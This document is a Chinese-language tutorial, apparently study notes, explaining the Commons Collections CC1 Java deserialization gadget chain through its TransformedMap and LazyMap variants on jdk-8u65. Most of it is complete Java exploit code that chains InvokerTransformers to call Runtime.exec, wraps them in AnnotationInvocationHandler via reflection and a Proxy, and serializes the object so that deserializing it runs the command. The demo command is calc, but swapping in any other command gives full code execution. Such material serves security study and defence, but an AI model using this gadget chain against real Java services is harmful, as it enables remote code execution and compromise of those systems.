CC1的链在jdk-8u71之后因为AnnotationInvocationHandler的修改已无法利用。
一、TransformedMap
基于jdk-8u65进行试验
1.Rutime.getRuntime().exec()
Runtime.getRuntime().exec("calc");
2.Runtime类不允许序列化,所有需要调用反射进行命令执行,将如上进行反射
Class<?> runtimeclass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = runtimeclass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance();
Method exec = runtimeclass.getDeclaredMethod("exec", String.class);
exec.invoke(instance,"calc");
3.用InvokeTransformer的transform方法替换
Class<?> runtimeclass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = runtimeclass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"});
exec.transform(instance);
4.转换为cc链版本
Object getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Object exec = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(exec);
5.用chainedTransformer将如上的Transformer连接起来。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
6.接下来看有没有别的类调用transform方法,并且可以参数是Object且可控,举例TransformeMap实例的
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("test", "xxxx");
利用过程:
1)构造一个Map和一个能够执行代码的ChainedTransformer
2)生成一个TransformedMap实例
3)调用decorate后通过put修改我们的键值对
4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换
进一步寻找链:
我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。
这时候发现这个类就是sun.reflect.annotation.AnnotationInvocationHandler(8u71以前可以,8u71以后做了一些修改),如下是AnnotationInvocationHandler的readObject方法,核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和memberValue.setValue(...)。
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
//Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现java.io.Serializable 接口的,所以不允许被序列化。
//将Runtime.getRuntime() 换成了Runtime.class ,前者是一个java.lang.Runtime 对象,后者是一个java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
innerMap.put("value","xxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来,因为sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。
//AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class, outerMap);
//通过如下代码将这个对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
//通过如下代码进行反序列化测试
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = objectInputStream.readObject();
二、LazyMap
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法。
所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get。
并且恰巧的是AnnotationInvocationHandler这个类实际就是一个InvocationHandler,如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发我们的LazyMap#get
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 直接调用get执行payload
// outerMap.get("test");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object handle = construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handle);
oos.close();
System.out.println(barr);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
objectInputStream.readObject();
}